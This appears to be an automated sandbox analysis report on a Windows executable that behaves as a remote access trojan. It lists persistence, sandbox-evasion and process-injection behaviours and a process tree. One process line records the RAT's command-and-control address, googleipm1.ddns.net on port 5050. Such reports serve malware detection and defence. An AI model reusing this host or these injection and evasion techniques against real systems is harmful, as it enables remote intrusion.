Overview

overview

8

Static

static

ccfee72838...43.exe

windows7_x64

8

ccfee72838...43.exe

windows10_x64

8

Analysis

  • max time kernel
    129s
  • max time network
    127s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    30/11/2021, 16:11

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General

  • Target
    ccfee72838fabfeb821fb8156a040843.exe
  • Size 91KB
  • Sample211130-tmx2nafdhl
  • SHA256 aa5b1bd2e155babe91152f629e7afebfb5ee805a53f01d50394d7f6489d04cff
  • MD5 SHA1 SHA512
Score
8/10
persistence

Malware Config

Signatures

  • Modifies Installed Components in the registry 2 TTPs
    persistence
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 5 IoCs
  • Checks SCSI registry key(s) 3 TTPs 10 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies registry class 29 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 29 IoCs
  • Suspicious use of FindShellTrayWindow 33 IoCs
  • Suspicious use of SendNotifyMessage 20 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ccfee72838fabfeb821fb8156a040843.exe
    "C:\Users\Admin\AppData\Local\Temp\ccfee72838fabfeb821fb8156a040843.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3584
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Enumerates connected drives
      • Drops file in Windows directory
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:3980
      • C:\Windows\system32\ctfmon.exe
        ctfmon.exe
        3⤵
          PID:4420
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ArrowRAT googleipm1.ddns.net 5050 OkqaVMsva.exe
        2⤵
          PID:3944
      • C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
        "C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
        1⤵
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4172
      • C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
        "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca
        1⤵
        • Drops file in Windows directory
        • Suspicious use of SetWindowsHookEx
        PID:4324

      Network

            MITRE ATT&CK Enterprise v6

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            Downloads

            memory/3584-118-0x0000000000130000-0x0000000000131000-memory.dmp
            Download

            memory/3584-120-0x0000000004D70000-0x0000000004D71000-memory.dmp
            Download

            memory/3584-121-0x0000000004A80000-0x0000000004A81000-memory.dmp
            Download

            memory/3944-123-0x0000000000400000-0x0000000000410000-memory.dmp
            Download

            memory/3944-125-0x00000000070A0000-0x00000000070A1000-memory.dmp
            Download

            memory/3944-126-0x00000000070A0000-0x00000000070A1000-memory.dmp
            Download

            memory/3944-130-0x00000000097A0000-0x00000000097A1000-memory.dmp
            Download

            memory/3944-133-0x0000000009700000-0x0000000009792000-memory.dmp
            Download

            memory/3980-134-0x0000000001FF0000-0x0000000001FF1000-memory.dmp
            Download